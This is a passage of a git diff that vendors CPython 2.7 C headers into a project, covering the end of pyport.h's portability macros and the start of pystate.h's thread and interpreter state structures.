(-PY_LLONG_MAX-1) +#define PY_ULLONG_MAX (__LONG_LONG_MAX__*2ULL + 1ULL) +#else +/* Otherwise, rely on two's complement. */ +#define PY_ULLONG_MAX (~0ULL) +#define PY_LLONG_MAX ((long long)(PY_ULLONG_MAX>>1)) +#define PY_LLONG_MIN (-PY_LLONG_MAX-1) +#endif /* LLONG_MAX */ +#endif +#endif /* HAVE_LONG_LONG */ + +/* a build with 30-bit digits for Python long integers needs an exact-width + * 32-bit unsigned integer type to store those digits. (We could just use + * type 'unsigned long', but that would be wasteful on a system where longs + * are 64-bits.) On Unix systems, the autoconf macro AC_TYPE_UINT32_T defines + * uint32_t to be such a type unless stdint.h or inttypes.h defines uint32_t. + * However, it doesn't set HAVE_UINT32_T, so we do that here. + */ +#if (defined UINT32_MAX || defined uint32_t) +#ifndef PY_UINT32_T +#define HAVE_UINT32_T 1 +#define PY_UINT32_T uint32_t +#endif +#endif + +/* Macros for a 64-bit unsigned integer type; used for type 'twodigits' in the + * long integer implementation, when 30-bit digits are enabled. + */ +#if (defined UINT64_MAX || defined uint64_t) +#ifndef PY_UINT64_T +#define HAVE_UINT64_T 1 +#define PY_UINT64_T uint64_t +#endif +#endif + +/* Signed variants of the above */ +#if (defined INT32_MAX || defined int32_t) +#ifndef PY_INT32_T +#define HAVE_INT32_T 1 +#define PY_INT32_T int32_t +#endif +#endif +#if (defined INT64_MAX || defined int64_t) +#ifndef PY_INT64_T +#define HAVE_INT64_T 1 +#define PY_INT64_T int64_t +#endif +#endif + +/* If PYLONG_BITS_IN_DIGIT is not defined then we'll use 30-bit digits if all + the necessary integer types are available, and we're on a 64-bit platform + (as determined by SIZEOF_VOID_P); otherwise we use 15-bit digits. */ + +#ifndef PYLONG_BITS_IN_DIGIT +#if (defined HAVE_UINT64_T && defined HAVE_INT64_T && \ + defined HAVE_UINT32_T && defined HAVE_INT32_T && SIZEOF_VOID_P >= 8) +#define PYLONG_BITS_IN_DIGIT 30 +#else +#define PYLONG_BITS_IN_DIGIT 15 +#endif +#endif + +/* uintptr_t is the C9X name for an unsigned integral type such that a + * legitimate void* can be cast to uintptr_t and then back to void* again + * without loss of information. Similarly for intptr_t, wrt a signed + * integral type. + */ +#ifdef HAVE_UINTPTR_T +typedef uintptr_t Py_uintptr_t; +typedef intptr_t Py_intptr_t; + +#elif SIZEOF_VOID_P <= SIZEOF_INT +typedef unsigned int Py_uintptr_t; +typedef int Py_intptr_t; + +#elif SIZEOF_VOID_P <= SIZEOF_LONG +typedef unsigned long Py_uintptr_t; +typedef long Py_intptr_t; + +#elif defined(HAVE_LONG_LONG) && (SIZEOF_VOID_P <= SIZEOF_LONG_LONG) +typedef unsigned PY_LONG_LONG Py_uintptr_t; +typedef PY_LONG_LONG Py_intptr_t; + +#else +# error "Python needs a typedef for Py_uintptr_t in pyport.h." +#endif /* HAVE_UINTPTR_T */ + +/* Py_ssize_t is a signed integral type such that sizeof(Py_ssize_t) == + * sizeof(size_t). C99 doesn't define such a thing directly (size_t is an + * unsigned integral type). See PEP 353 for details. + */ +#ifdef HAVE_SSIZE_T +typedef ssize_t Py_ssize_t; +#elif SIZEOF_VOID_P == SIZEOF_SIZE_T +typedef Py_intptr_t Py_ssize_t; +#else +# error "Python needs a typedef for Py_ssize_t in pyport.h." +#endif + +/* Largest possible value of size_t. + SIZE_MAX is part of C99, so it might be defined on some + platforms. If it is not defined, (size_t)-1 is a portable + definition for C89, due to the way signed->unsigned + conversion is defined. */ +#ifdef SIZE_MAX +#define PY_SIZE_MAX SIZE_MAX +#else +#define PY_SIZE_MAX ((size_t)-1) +#endif + +/* Largest positive value of type Py_ssize_t. */ +#define PY_SSIZE_T_MAX ((Py_ssize_t)(((size_t)-1)>>1)) +/* Smallest negative value of type Py_ssize_t. */ +#define PY_SSIZE_T_MIN (-PY_SSIZE_T_MAX-1) + +#if SIZEOF_PID_T > SIZEOF_LONG +# error "Python doesn't support sizeof(pid_t) > sizeof(long)" +#endif + +/* PY_FORMAT_SIZE_T is a platform-specific modifier for use in a printf + * format to convert an argument with the width of a size_t or Py_ssize_t. + * C99 introduced "z" for this purpose, but not all platforms support that; + * e.g., MS compilers use "I" instead. + * + * These "high level" Python format functions interpret "z" correctly on + * all platforms (Python interprets the format string itself, and does whatever + * the platform C requires to convert a size_t/Py_ssize_t argument): + * + * PyString_FromFormat + * PyErr_Format + * PyString_FromFormatV + * + * Lower-level uses require that you interpolate the correct format modifier + * yourself (e.g., calling printf, fprintf, sprintf, PyOS_snprintf); for + * example, + * + * Py_ssize_t index; + * fprintf(stderr, "index %" PY_FORMAT_SIZE_T "d sucks\n", index); + * + * That will expand to %ld, or %Id, or to something else correct for a + * Py_ssize_t on the platform. + */ +#ifndef PY_FORMAT_SIZE_T +# if SIZEOF_SIZE_T == SIZEOF_INT && !defined(__APPLE__) +# define PY_FORMAT_SIZE_T "" +# elif SIZEOF_SIZE_T == SIZEOF_LONG +# define PY_FORMAT_SIZE_T "l" +# elif defined(MS_WINDOWS) +# define PY_FORMAT_SIZE_T "I" +# else +# error "This platform's pyconfig.h needs to define PY_FORMAT_SIZE_T" +# endif +#endif + +/* PY_FORMAT_LONG_LONG is analogous to PY_FORMAT_SIZE_T above, but for + * the long long type instead of the size_t type. It's only available + * when HAVE_LONG_LONG is defined. The "high level" Python format + * functions listed above will interpret "lld" or "llu" correctly on + * all platforms. + */ +#ifdef HAVE_LONG_LONG +# ifndef PY_FORMAT_LONG_LONG +# if defined(MS_WIN64) || defined(MS_WINDOWS) +# define PY_FORMAT_LONG_LONG "I64" +# else +# error "This platform's pyconfig.h needs to define PY_FORMAT_LONG_LONG" +# endif +# endif +#endif + +/* Py_LOCAL can be used instead of static to get the fastest possible calling + * convention for functions that are local to a given module. + * + * Py_LOCAL_INLINE does the same thing, and also explicitly requests inlining, + * for platforms that support that. + * + * If PY_LOCAL_AGGRESSIVE is defined before python.h is included, more + * "aggressive" inlining/optimizaion is enabled for the entire module. This + * may lead to code bloat, and may slow things down for those reasons. It may + * also lead to errors, if the code relies on pointer aliasing. Use with + * care. + * + * NOTE: You can only use this for functions that are entirely local to a + * module; functions that are exported via method tables, callbacks, etc, + * should keep using static. + */ + +#undef USE_INLINE /* XXX - set via configure? */ + +#if defined(_MSC_VER) +#if defined(PY_LOCAL_AGGRESSIVE) +/* enable more aggressive optimization for visual studio */ +#pragma optimize("agtw", on) +#endif +/* ignore warnings if the compiler decides not to inline a function */ +#pragma warning(disable: 4710) +/* fastest possible local call under MSVC */ +#define Py_LOCAL(type) static type __fastcall +#define Py_LOCAL_INLINE(type) static __inline type __fastcall +#elif defined(USE_INLINE) +#define Py_LOCAL(type) static type +#define Py_LOCAL_INLINE(type) static inline type +#else +#define Py_LOCAL(type) static type +#define Py_LOCAL_INLINE(type) static type +#endif + +/* Py_MEMCPY can be used instead of memcpy in cases where the copied blocks + * are often very short. While most platforms have highly optimized code for + * large transfers, the setup costs for memcpy are often quite high. MEMCPY + * solves this by doing short copies "in line". + */ + +#if defined(_MSC_VER) +#define Py_MEMCPY(target, source, length) do { \ + size_t i_, n_ = (length); \ + char *t_ = (void*) (target); \ + const char *s_ = (void*) (source); \ + if (n_ >= 16) \ + memcpy(t_, s_, n_); \ + else \ + for (i_ = 0; i_ < n_; i_++) \ + t_[i_] = s_[i_]; \ + } while (0) +#else +#define Py_MEMCPY memcpy +#endif + +#include + +#ifdef HAVE_IEEEFP_H +#include /* needed for 'finite' declaration on some platforms */ +#endif + +#include /* Moved here from the math section, before extern "C" */ + +/******************************************** + * WRAPPER FOR and/or * + ********************************************/ + +#ifdef TIME_WITH_SYS_TIME +#include +#include +#else /* !TIME_WITH_SYS_TIME */ +#ifdef HAVE_SYS_TIME_H +#include +#else /* !HAVE_SYS_TIME_H */ +#include +#endif /* !HAVE_SYS_TIME_H */ +#endif /* !TIME_WITH_SYS_TIME */ + + +/****************************** + * WRAPPER FOR * + ******************************/ + +/* NB caller must include */ + +#ifdef HAVE_SYS_SELECT_H + +#include + +#endif /* !HAVE_SYS_SELECT_H */ + +/******************************* + * stat() and fstat() fiddling * + *******************************/ + +/* We expect that stat and fstat exist on most systems. + * It's confirmed on Unix, Mac and Windows. + * If you don't have them, add + * #define DONT_HAVE_STAT + * and/or + * #define DONT_HAVE_FSTAT + * to your pyconfig.h. Python code beyond this should check HAVE_STAT and + * HAVE_FSTAT instead. + * Also + * #define HAVE_SYS_STAT_H + * if exists on your platform, and + * #define HAVE_STAT_H + * if does. + */ +#ifndef DONT_HAVE_STAT +#define HAVE_STAT +#endif + +#ifndef DONT_HAVE_FSTAT +#define HAVE_FSTAT +#endif + +#ifdef RISCOS +#include +#include "unixstuff.h" +#endif + +#ifdef HAVE_SYS_STAT_H +#if defined(PYOS_OS2) && defined(PYCC_GCC) +#include +#endif +#include +#elif defined(HAVE_STAT_H) +#include +#endif + +#if defined(PYCC_VACPP) +/* VisualAge C/C++ Failed to Define MountType Field in sys/stat.h */ +#define S_IFMT (S_IFDIR|S_IFCHR|S_IFREG) +#endif + +#ifndef S_ISREG +#define S_ISREG(x) (((x) & S_IFMT) == S_IFREG) +#endif + +#ifndef S_ISDIR +#define S_ISDIR(x) (((x) & S_IFMT) == S_IFDIR) +#endif + + +#ifdef __cplusplus +/* Move this down here since some C++ #include's don't like to be included + inside an extern "C" */ +extern "C" { +#endif + + +/* Py_ARITHMETIC_RIGHT_SHIFT + * C doesn't define whether a right-shift of a signed integer sign-extends + * or zero-fills. Here a macro to force sign extension: + * Py_ARITHMETIC_RIGHT_SHIFT(TYPE, I, J) + * Return I >> J, forcing sign extension. Arithmetically, return the + * floor of I/2**J. + * Requirements: + * I should have signed integer type. In the terminology of C99, this can + * be either one of the five standard signed integer types (signed char, + * short, int, long, long long) or an extended signed integer type. + * J is an integer >= 0 and strictly less than the number of bits in the + * type of I (because C doesn't define what happens for J outside that + * range either). + * TYPE used to specify the type of I, but is now ignored. It's been left + * in for backwards compatibility with versions <= 2.6 or 3.0. + * Caution: + * I may be evaluated more than once. + */ +#ifdef SIGNED_RIGHT_SHIFT_ZERO_FILLS +#define Py_ARITHMETIC_RIGHT_SHIFT(TYPE, I, J) \ + ((I) < 0 ? -1-((-1-(I)) >> (J)) : (I) >> (J)) +#else +#define Py_ARITHMETIC_RIGHT_SHIFT(TYPE, I, J) ((I) >> (J)) +#endif + +/* Py_FORCE_EXPANSION(X) + * "Simply" returns its argument. However, macro expansions within the + * argument are evaluated. This unfortunate trickery is needed to get + * token-pasting to work as desired in some cases. + */ +#define Py_FORCE_EXPANSION(X) X + +/* Py_SAFE_DOWNCAST(VALUE, WIDE, NARROW) + * Cast VALUE to type NARROW from type WIDE. In Py_DEBUG mode, this + * assert-fails if any information is lost. + * Caution: + * VALUE may be evaluated more than once. + */ +#ifdef Py_DEBUG +#define Py_SAFE_DOWNCAST(VALUE, WIDE, NARROW) \ + (assert((WIDE)(NARROW)(VALUE) == (VALUE)), (NARROW)(VALUE)) +#else +#define Py_SAFE_DOWNCAST(VALUE, WIDE, NARROW) (NARROW)(VALUE) +#endif + +/* Py_SET_ERRNO_ON_MATH_ERROR(x) + * If a libm function did not set errno, but it looks like the result + * overflowed or not-a-number, set errno to ERANGE or EDOM. Set errno + * to 0 before calling a libm function, and invoke this macro after, + * passing the function result. + * Caution: + * This isn't reliable. See Py_OVERFLOWED comments. + * X is evaluated more than once. + */ +#if defined(__FreeBSD__) || defined(__OpenBSD__) || (defined(__hpux) && defined(__ia64)) +#define _Py_SET_EDOM_FOR_NAN(X) if (isnan(X)) errno = EDOM; +#else +#define _Py_SET_EDOM_FOR_NAN(X) ; +#endif +#define Py_SET_ERRNO_ON_MATH_ERROR(X) \ + do { \ + if (errno == 0) { \ + if ((X) == Py_HUGE_VAL || (X) == -Py_HUGE_VAL) \ + errno = ERANGE; \ + else _Py_SET_EDOM_FOR_NAN(X) \ + } \ + } while(0) + +/* Py_SET_ERANGE_ON_OVERFLOW(x) + * An alias of Py_SET_ERRNO_ON_MATH_ERROR for backward-compatibility. + */ +#define Py_SET_ERANGE_IF_OVERFLOW(X) Py_SET_ERRNO_ON_MATH_ERROR(X) + +/* Py_ADJUST_ERANGE1(x) + * Py_ADJUST_ERANGE2(x, y) + * Set errno to 0 before calling a libm function, and invoke one of these + * macros after, passing the function result(s) (Py_ADJUST_ERANGE2 is useful + * for functions returning complex results). This makes two kinds of + * adjustments to errno: (A) If it looks like the platform libm set + * errno=ERANGE due to underflow, clear errno. (B) If it looks like the + * platform libm overflowed but didn't set errno, force errno to ERANGE. In + * effect, we're trying to force a useful implementation of C89 errno + * behavior. + * Caution: + * This isn't reliable. See Py_OVERFLOWED comments. + * X and Y may be evaluated more than once. + */ +#define Py_ADJUST_ERANGE1(X) \ + do { \ + if (errno == 0) { \ + if ((X) == Py_HUGE_VAL || (X) == -Py_HUGE_VAL) \ + errno = ERANGE; \ + } \ + else if (errno == ERANGE && (X) == 0.0) \ + errno = 0; \ + } while(0) + +#define Py_ADJUST_ERANGE2(X, Y) \ + do { \ + if ((X) == Py_HUGE_VAL || (X) == -Py_HUGE_VAL || \ + (Y) == Py_HUGE_VAL || (Y) == -Py_HUGE_VAL) { \ + if (errno == 0) \ + errno = ERANGE; \ + } \ + else if (errno == ERANGE) \ + errno = 0; \ + } while(0) + +/* The functions _Py_dg_strtod and _Py_dg_dtoa in Python/dtoa.c (which are + * required to support the short float repr introduced in Python 3.1) require + * that the floating-point unit that's being used for arithmetic operations + * on C doubles is set to use 53-bit precision. It also requires that the + * FPU rounding mode is round-half-to-even, but that's less often an issue. + * + * If your FPU isn't already set to 53-bit precision/round-half-to-even, and + * you want to make use of _Py_dg_strtod and _Py_dg_dtoa, then you should + * + * #define HAVE_PY_SET_53BIT_PRECISION 1 + * + * and also give appropriate definitions for the following three macros: + * + * _PY_SET_53BIT_PRECISION_START : store original FPU settings, and + * set FPU to 53-bit precision/round-half-to-even + * _PY_SET_53BIT_PRECISION_END : restore original FPU settings + * _PY_SET_53BIT_PRECISION_HEADER : any variable declarations needed to + * use the two macros above. + * + * The macros are designed to be used within a single C function: see + * Python/pystrtod.c for an example of their use. + */ + +/* get and set x87 control word for gcc/x86 */ +#ifdef HAVE_GCC_ASM_FOR_X87 +#define HAVE_PY_SET_53BIT_PRECISION 1 +/* _Py_get/set_387controlword functions are defined in Python/pymath.c */ +#define _Py_SET_53BIT_PRECISION_HEADER \ + unsigned short old_387controlword, new_387controlword +#define _Py_SET_53BIT_PRECISION_START \ + do { \ + old_387controlword = _Py_get_387controlword(); \ + new_387controlword = (old_387controlword & ~0x0f00) | 0x0200; \ + if (new_387controlword != old_387controlword) \ + _Py_set_387controlword(new_387controlword); \ + } while (0) +#define _Py_SET_53BIT_PRECISION_END \ + if (new_387controlword != old_387controlword) \ + _Py_set_387controlword(old_387controlword) +#endif + +/* default definitions are empty */ +#ifndef HAVE_PY_SET_53BIT_PRECISION +#define _Py_SET_53BIT_PRECISION_HEADER +#define _Py_SET_53BIT_PRECISION_START +#define _Py_SET_53BIT_PRECISION_END +#endif + +/* If we can't guarantee 53-bit precision, don't use the code + in Python/dtoa.c, but fall back to standard code. This + means that repr of a float will be long (17 sig digits). + + Realistically, there are two things that could go wrong: + + (1) doubles aren't IEEE 754 doubles, or + (2) we're on x86 with the rounding precision set to 64-bits + (extended precision), and we don't know how to change + the rounding precision. + */ + +#if !defined(DOUBLE_IS_LITTLE_ENDIAN_IEEE754) && \ + !defined(DOUBLE_IS_BIG_ENDIAN_IEEE754) && \ + !defined(DOUBLE_IS_ARM_MIXED_ENDIAN_IEEE754) +#define PY_NO_SHORT_FLOAT_REPR +#endif + +/* double rounding is symptomatic of use of extended precision on x86. If + we're seeing double rounding, and we don't have any mechanism available for + changing the FPU rounding precision, then don't use Python/dtoa.c. */ +#if defined(X87_DOUBLE_ROUNDING) && !defined(HAVE_PY_SET_53BIT_PRECISION) +#define PY_NO_SHORT_FLOAT_REPR +#endif + +/* Py_DEPRECATED(version) + * Declare a variable, type, or function deprecated. + * Usage: + * extern int old_var Py_DEPRECATED(2.3); + * typedef int T1 Py_DEPRECATED(2.4); + * extern int x() Py_DEPRECATED(2.5); + */ +#if defined(__GNUC__) && ((__GNUC__ >= 4) || \ + (__GNUC__ == 3) && (__GNUC_MINOR__ >= 1)) +#define Py_DEPRECATED(VERSION_UNUSED) __attribute__((__deprecated__)) +#else +#define Py_DEPRECATED(VERSION_UNUSED) +#endif + +/************************************************************************** +Prototypes that are missing from the standard include files on some systems +(and possibly only some versions of such systems.) + +Please be conservative with adding new ones, document them and enclose them +in platform-specific #ifdefs. +**************************************************************************/ + +#ifdef SOLARIS +/* Unchecked */ +extern int gethostname(char *, int); +#endif + +#ifdef __BEOS__ +/* Unchecked */ +/* It's in the libs, but not the headers... - [cjh] */ +int shutdown( int, int ); +#endif + +#ifdef HAVE__GETPTY +#include /* we need to import mode_t */ +extern char * _getpty(int *, int, mode_t, int); +#endif + +/* On QNX 6, struct termio must be declared by including sys/termio.h + if TCGETA, TCSETA, TCSETAW, or TCSETAF are used. sys/termio.h must + be included before termios.h or it will generate an error. */ +#ifdef HAVE_SYS_TERMIO_H +#include +#endif + +#if defined(HAVE_OPENPTY) || defined(HAVE_FORKPTY) +#if !defined(HAVE_PTY_H) && !defined(HAVE_LIBUTIL_H) && !defined(HAVE_UTIL_H) +/* BSDI does not supply a prototype for the 'openpty' and 'forkpty' + functions, even though they are included in libutil. */ +#include +extern int openpty(int *, int *, char *, struct termios *, struct winsize *); +extern pid_t forkpty(int *, char *, struct termios *, struct winsize *); +#endif /* !defined(HAVE_PTY_H) && !defined(HAVE_LIBUTIL_H) */ +#endif /* defined(HAVE_OPENPTY) || defined(HAVE_FORKPTY) */ + + +/* These are pulled from various places. It isn't obvious on what platforms + they are necessary, nor what the exact prototype should look like (which + is likely to vary between platforms!) If you find you need one of these + declarations, please move them to a platform-specific block and include + proper prototypes. */ +#if 0 + +/* From Modules/resource.c */ +extern int getrusage(); +extern int getpagesize(); + +/* From Python/sysmodule.c and Modules/posixmodule.c */ +extern int fclose(FILE *); + +/* From Modules/posixmodule.c */ +extern int fdatasync(int); +#endif /* 0 */ + + +/* On 4.4BSD-descendants, ctype functions serves the whole range of + * wchar_t character set rather than single byte code points only. + * This characteristic can break some operations of string object + * including str.upper() and str.split() on UTF-8 locales. This + * workaround was provided by Tim Robbins of FreeBSD project. + */ + +#ifdef __FreeBSD__ +#include +#if __FreeBSD_version > 500039 +# define _PY_PORT_CTYPE_UTF8_ISSUE +#endif +#endif + + +#if defined(__APPLE__) +# define _PY_PORT_CTYPE_UTF8_ISSUE +#endif + +#ifdef _PY_PORT_CTYPE_UTF8_ISSUE +#include +#include +#undef isalnum +#define isalnum(c) iswalnum(btowc(c)) +#undef isalpha +#define isalpha(c) iswalpha(btowc(c)) +#undef islower +#define islower(c) iswlower(btowc(c)) +#undef isspace +#define isspace(c) iswspace(btowc(c)) +#undef isupper +#define isupper(c) iswupper(btowc(c)) +#undef tolower +#define tolower(c) towlower(btowc(c)) +#undef toupper +#define toupper(c) towupper(btowc(c)) +#endif + + +/* Declarations for symbol visibility. + + PyAPI_FUNC(type): Declares a public Python API function and return type + PyAPI_DATA(type): Declares public Python data and its type + PyMODINIT_FUNC: A Python module init function. If these functions are + inside the Python core, they are private to the core. + If in an extension module, it may be declared with + external linkage depending on the platform. + + As a number of platforms support/require "__declspec(dllimport/dllexport)", + we support a HAVE_DECLSPEC_DLL macro to save duplication. +*/ + +/* + All windows ports, except cygwin, are handled in PC/pyconfig.h. + + BeOS and cygwin are the only other autoconf platform requiring special + linkage handling and both of these use __declspec(). +*/ +#if defined(__CYGWIN__) || defined(__BEOS__) +# define HAVE_DECLSPEC_DLL +#endif + +/* only get special linkage if built as shared or platform is Cygwin */ +#if defined(Py_ENABLE_SHARED) || defined(__CYGWIN__) +# if defined(HAVE_DECLSPEC_DLL) +# ifdef Py_BUILD_CORE +# define PyAPI_FUNC(RTYPE) __declspec(dllexport) RTYPE +# define PyAPI_DATA(RTYPE) extern __declspec(dllexport) RTYPE + /* module init functions inside the core need no external linkage */ + /* except for Cygwin to handle embedding (FIXME: BeOS too?) */ +# if defined(__CYGWIN__) +# define PyMODINIT_FUNC __declspec(dllexport) void +# else /* __CYGWIN__ */ +# define PyMODINIT_FUNC void +# endif /* __CYGWIN__ */ +# else /* Py_BUILD_CORE */ + /* Building an extension module, or an embedded situation */ + /* public Python functions and data are imported */ + /* Under Cygwin, auto-import functions to prevent compilation */ + /* failures similar to http://python.org/doc/FAQ.html#3.24 */ +# if !defined(__CYGWIN__) +# define PyAPI_FUNC(RTYPE) __declspec(dllimport) RTYPE +# endif /* !__CYGWIN__ */ +# define PyAPI_DATA(RTYPE) extern __declspec(dllimport) RTYPE + /* module init functions outside the core must be exported */ +# if defined(__cplusplus) +# define PyMODINIT_FUNC extern "C" __declspec(dllexport) void +# else /* __cplusplus */ +# define PyMODINIT_FUNC __declspec(dllexport) void +# endif /* __cplusplus */ +# endif /* Py_BUILD_CORE */ +# endif /* HAVE_DECLSPEC */ +#endif /* Py_ENABLE_SHARED */ + +/* If no external linkage macros defined by now, create defaults */ +#ifndef PyAPI_FUNC +# define PyAPI_FUNC(RTYPE) RTYPE +#endif +#ifndef PyAPI_DATA +# define PyAPI_DATA(RTYPE) extern RTYPE +#endif +#ifndef PyMODINIT_FUNC +# if defined(__cplusplus) +# define PyMODINIT_FUNC extern "C" void +# else /* __cplusplus */ +# define PyMODINIT_FUNC void +# endif /* __cplusplus */ +#endif + +/* Deprecated DL_IMPORT and DL_EXPORT macros */ +#if defined(Py_ENABLE_SHARED) && defined (HAVE_DECLSPEC_DLL) +# if defined(Py_BUILD_CORE) +# define DL_IMPORT(RTYPE) __declspec(dllexport) RTYPE +# define DL_EXPORT(RTYPE) __declspec(dllexport) RTYPE +# else +# define DL_IMPORT(RTYPE) __declspec(dllimport) RTYPE +# define DL_EXPORT(RTYPE) __declspec(dllexport) RTYPE +# endif +#endif +#ifndef DL_EXPORT +# define DL_EXPORT(RTYPE) RTYPE +#endif +#ifndef DL_IMPORT +# define DL_IMPORT(RTYPE) RTYPE +#endif +/* End of deprecated DL_* macros */ + +/* If the fd manipulation macros aren't defined, + here is a set that should do the job */ + +#if 0 /* disabled and probably obsolete */ + +#ifndef FD_SETSIZE +#define FD_SETSIZE 256 +#endif + +#ifndef FD_SET + +typedef long fd_mask; + +#define NFDBITS (sizeof(fd_mask) * NBBY) /* bits per mask */ +#ifndef howmany +#define howmany(x, y) (((x)+((y)-1))/(y)) +#endif /* howmany */ + +typedef struct fd_set { + fd_mask fds_bits[howmany(FD_SETSIZE, NFDBITS)]; +} fd_set; + +#define FD_SET(n, p) ((p)->fds_bits[(n)/NFDBITS] |= (1 << ((n) % NFDBITS))) +#define FD_CLR(n, p) ((p)->fds_bits[(n)/NFDBITS] &= ~(1 << ((n) % NFDBITS))) +#define FD_ISSET(n, p) ((p)->fds_bits[(n)/NFDBITS] & (1 << ((n) % NFDBITS))) +#define FD_ZERO(p) memset((char *)(p), '\0', sizeof(*(p))) + +#endif /* FD_SET */ + +#endif /* fd manipulation macros */ + + +/* limits.h constants that may be missing */ + +#ifndef INT_MAX +#define INT_MAX 2147483647 +#endif + +#ifndef LONG_MAX +#if SIZEOF_LONG == 4 +#define LONG_MAX 0X7FFFFFFFL +#elif SIZEOF_LONG == 8 +#define LONG_MAX 0X7FFFFFFFFFFFFFFFL +#else +#error "could not set LONG_MAX in pyport.h" +#endif +#endif + +#ifndef LONG_MIN +#define LONG_MIN (-LONG_MAX-1) +#endif + +#ifndef LONG_BIT +#define LONG_BIT (8 * SIZEOF_LONG) +#endif + +#if LONG_BIT != 8 * SIZEOF_LONG +/* 04-Oct-2000 LONG_BIT is apparently (mis)defined as 64 on some recent + * 32-bit platforms using gcc. We try to catch that here at compile-time + * rather than waiting for integer multiplication to trigger bogus + * overflows. + */ +#error "LONG_BIT definition appears wrong for platform (bad gcc/glibc config?)." +#endif + +#ifdef __cplusplus +} +#endif + +/* + * Hide GCC attributes from compilers that don't support them. + */ +#if (!defined(__GNUC__) || __GNUC__ < 2 || \ + (__GNUC__ == 2 && __GNUC_MINOR__ < 7) ) && \ + !defined(RISCOS) +#define Py_GCC_ATTRIBUTE(x) +#else +#define Py_GCC_ATTRIBUTE(x) __attribute__(x) +#endif + +/* + * Add PyArg_ParseTuple format where available. + */ +#ifdef HAVE_ATTRIBUTE_FORMAT_PARSETUPLE +#define Py_FORMAT_PARSETUPLE(func,p1,p2) __attribute__((format(func,p1,p2))) +#else +#define Py_FORMAT_PARSETUPLE(func,p1,p2) +#endif + +/* + * Specify alignment on compilers that support it. + */ +#if defined(__GNUC__) && __GNUC__ >= 3 +#define Py_ALIGNED(x) __attribute__((aligned(x))) +#else +#define Py_ALIGNED(x) +#endif + +/* Eliminate end-of-loop code not reached warnings from SunPro C + * when using do{...}while(0) macros + */ +#ifdef __SUNPRO_C +#pragma error_messages (off,E_END_OF_LOOP_CODE_NOT_REACHED) +#endif + +/* + * Older Microsoft compilers don't support the C99 long long literal suffixes, + * so these will be defined in PC/pyconfig.h for those compilers. + */ +#ifndef Py_LL +#define Py_LL(x) x##LL +#endif + +#ifndef Py_ULL +#define Py_ULL(x) Py_LL(x##U) +#endif + +#endif /* Py_PYPORT_H */ diff --git a/Extern/include/Python27/pystate.h b/Extern/include/Python27/pystate.h new file mode 100644 index 0000000..b9fe61e --- /dev/null +++ b/Extern/include/Python27/pystate.h @@ -0,0 +1,197 @@ + +/* Thread and interpreter state structures and their interfaces */ + + +#ifndef Py_PYSTATE_H +#define Py_PYSTATE_H +#ifdef __cplusplus +extern "C" { +#endif + +/* State shared between threads */ + +struct _ts; /* Forward */ +struct _is; /* Forward */ + +typedef struct _is { + + struct _is *next; + struct _ts *tstate_head; + + PyObject *modules; + PyObject *sysdict; + PyObject *builtins; + PyObject *modules_reloading; + + PyObject *codec_search_path; + PyObject *codec_search_cache; + PyObject *codec_error_registry; + +#ifdef HAVE_DLOPEN + int dlopenflags; +#endif +#ifdef WITH_TSC + int tscdump; +#endif + +} PyInterpreterState; + + +/* State unique per thread */ + +struct _frame; /* Avoid including frameobject.h */ + +/* Py_tracefunc return -1 when raising an exception, or 0 for success. */ +typedef int (*Py_tracefunc)(PyObject *, struct _frame *, int, PyObject *); + +/* The following values are used for 'what' for tracefunc functions: */ +#define PyTrace_CALL 0 +#define PyTrace_EXCEPTION 1 +#define PyTrace_LINE 2 +#define PyTrace_RETURN 3 +#define PyTrace_C_CALL 4 +#define PyTrace_C_EXCEPTION 5 +#define PyTrace_C_RETURN 6 + +typedef struct _ts { + /* See Python/ceval.c for comments explaining most fields */ + + struct _ts *next; + PyInterpreterState *interp; + + struct _frame *frame; + int recursion_depth; + /* 'tracing' keeps track of the execution depth when tracing/profiling. + This is to prevent the actual trace/profile code from being recorded in + the trace/profile. */ + int tracing; + int use_tracing; + + Py_tracefunc c_profilefunc; + Py_tracefunc c_tracefunc; + PyObject *c_profileobj; + PyObject *c_traceobj; + + PyObject *curexc_type; + PyObject *curexc_value; + PyObject *curexc_traceback; + + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; + + PyObject *dict; /* Stores per-thread state */ + + /* tick_counter is incremented whenever the check_interval ticker + * reaches zero. The purpose is to give a useful measure of the number + * of interpreted bytecode instructions in a given thread. This + * extremely lightweight statistic collector may be of interest to + * profilers (like psyco.jit()), although nothing in the core uses it. + */ + int tick_counter; + + int gilstate_counter; + + PyObject *async_exc; /* Asynchronous exception to raise */ + long thread_id; /* Thread id where this tstate was created */ + + /* XXX signal handlers should also be here */ + +} PyThreadState; + + +PyAPI_FUNC(PyInterpreterState *) PyInterpreterState_New(void); +PyAPI_FUNC(void) PyInterpreterState_Clear(PyInterpreterState *); +PyAPI_FUNC(void) PyInterpreterState_Delete(PyInterpreterState *); + +PyAPI_FUNC(PyThreadState *) PyThreadState_New(PyInterpreterState *); +PyAPI_FUNC(PyThreadState *) _PyThreadState_Prealloc(PyInterpreterState *); +PyAPI_FUNC(void) _PyThreadState_Init(PyThreadState *); +PyAPI_FUNC(void) PyThreadState_Clear(PyThreadState *); +PyAPI_FUNC(void) PyThreadState_Delete(PyThreadState *); +#ifdef WITH_THREAD +PyAPI_FUNC(void) PyThreadState_DeleteCurrent(void); +#endif + +PyAPI_FUNC(PyThreadState *) PyThreadState_Get(void); +PyAPI_FUNC(PyThreadState *) PyThreadState_Swap(PyThreadState *); +PyAPI_FUNC(PyObject *) PyThreadState_GetDict(void); +PyAPI_FUNC(int) PyThreadState_SetAsyncExc(long, PyObject *); + + +/* Variable and macro for in-line access to current thread state */ + +PyAPI_DATA(PyThreadState *) _PyThreadState_Current; + +#ifdef Py_DEBUG +#define PyThreadState_GET() PyThreadState_Get() +#else +#define PyThreadState_GET() (_PyThreadState_Current) +#endif + +typedef + enum {PyGILState_LOCKED, PyGILState_UNLOCKED} + PyGILState_STATE; + +/* Ensure that the current thread is ready to call the Python + C API, regardless of the current state of Python, or of its + thread lock. This may be called as many times as desired + by a thread so long as each call is matched with a call to + PyGILState_Release(). In general, other thread-state APIs may + be used between _Ensure() and _Release() calls, so long as the + thread-state is restored to its previous state before the Release(). + For example, normal use of the Py_BEGIN_ALLOW_THREADS/ + Py_END_ALLOW_THREADS macros are acceptable. + + The return value is an opaque "handle" to the thread state when + PyGILState_Ensure() was called, and must be passed to + PyGILState_Release() to ensure Python is left in the same state. Even + though recursive calls are allowed, these handles can *not* be shared - + each unique call to PyGILState_Ensure must save the handle for its + call to PyGILState_Release. + + When the function returns, the current thread will hold the GIL. + + Failure is a fatal error. +*/ +PyAPI_FUNC(PyGILState_STATE) 